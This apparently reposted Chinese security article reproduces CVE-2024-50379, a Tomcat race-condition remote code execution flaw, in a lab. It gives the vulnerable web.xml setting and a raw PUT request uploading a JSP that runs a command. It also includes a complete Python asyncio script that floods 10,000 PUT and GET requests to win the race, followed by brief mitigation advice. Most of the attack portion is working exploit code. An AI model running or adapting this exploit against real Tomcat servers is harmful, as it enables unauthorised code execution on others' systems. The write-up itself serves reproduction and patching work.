Apache Tomcat是一个开源的Java Servlet容器,广泛用于运行Java Web应用程序。它实现了Java Servlet和JavaServer Pages (JSP) 技术,提供了一个运行环境来处理HTTP请求、生成动态网页,并支持WebSocket通信。
Apache Tomcat以其稳定性、灵活性和易用性而受到开发者的青睐,是开发和部署Java Web应用的重要工具之一。
漏洞编号:CVE-2024-50379
该漏洞的 CVSS 评分为 9.8,属于高危漏洞。漏洞的根本原因是 Tomcat 在验证文件路径时存在缺陷,特别是在不区分大小写的文件系统(如 Windows)上,当readonly
初始化参数被设置为false
时(有些版本不存在此参数),攻击者可以通过条件竞争上传恶意文件并执行远程代码。
9.0.0.M1 <= Apache Tomcat < 9.0.98
10.1.0-M1 <= Apache Tomcat < 10.1.34
11.0.0-M1 <= Apache Tomcat < 11.0.2
1、最好安装配置一台win的虚拟机,将内核和内存都尽可能调小(==提升复现成功率==)
2、在Java Downloads | Oracle 中国上下载JAVA 8(==一定要下载JAVA 8,这个版本的JAVA复现成功率最高==)
3、在Apache-Tomcat中下载漏洞范围版本
配置环境变量
JAVA_HOME
%JAVA_HOME%\bin
CATALINA_BASE
查看conf/web.xml
的配置,检查readonly
的参数是否为flase
,如果不是就进行如下配置,注意是default servlet
(大部分版本是要自己手动去添加这个参数,在漏洞版本中如果存在,基本默认都是flase)
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
启动Tomcat(乱码问题不大,web.xml
改一下GBK
就没问题了,使用虚拟机的IPv4地址访问8080端口)
开启浏览器代理,使用Yakit抓包
利用POC发包(==三个包同时发送!!!==)
PUT /test.Jsp HTTP/1.1
Host: 192.168.235.131:8080
<% Runtime.getRuntime().exec("calc.exe");%>
第一个包
第二个包
第三个包
有时只用Yakit进行发包就能成功,有时不行,所以为了提升成功率,写一个python脚本和Yakit一起运行,对Tomcat进行发包
import asyncio
import aiohttp
async def send_request(session, method, url, data=None):
try:
async with session.request(method, url, data=data) as response:
print(f"Request to {url} completed with status {response.status}")
return await response.text()
except Exception as e:
print(f"Request to {url} failed: {e}")
return None
async def main():
async with aiohttp.ClientSession() as session:
tasks = []
for _ in range(10000): # 循环100次
tasks.append(send_request(session, 'PUT', 'http://192.168.235.131:8080/evil.Jsp', data='<% Runtime.getRuntime().exec("calc.exe");%>'))
tasks.append(send_request(session, 'PUT', 'http://192.168.235.131:8080/test.Jsp', data='<% Runtime.getRuntime().exec("calc.exe");%>'))
tasks.append(send_request(session, 'GET', 'http://192.168.235.131:8080/evil.jsp'))
# 并发执行所有任务
responses = await asyncio.gather(*tasks)
# 打印部分响应结果(可选)
for i, response in enumerate(responses):
if response:
print(f"Response {i+1}: {response[:100]}...")
# 运行主函数
asyncio.run(main())
返回状态码是201代表上传成功,可以去webapps/ROOT
目录看到;再次重放请求的时候就是204的状态码了,说明文件已经存在
成功!
配置调整:
- 在不影响业务的前提下将conf/web.xml
文件中的readonly
参数设置为true
或直接注释该参数
- 禁用 PUT 方法并重启 Tomcat 服务以启用新的配置
升级版本:升级Tomcat版本为非漏洞版本范围
https://xz.aliyun.com/t/16900
https://mp.weixin.qq.com/s/d7dneaUgF2TD2KGdT1qiQw
本文分享自 Timeline Sec 微信公众号,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文参与 腾讯云自媒体同步曝光计划 ,欢迎热爱写作的你一起参与!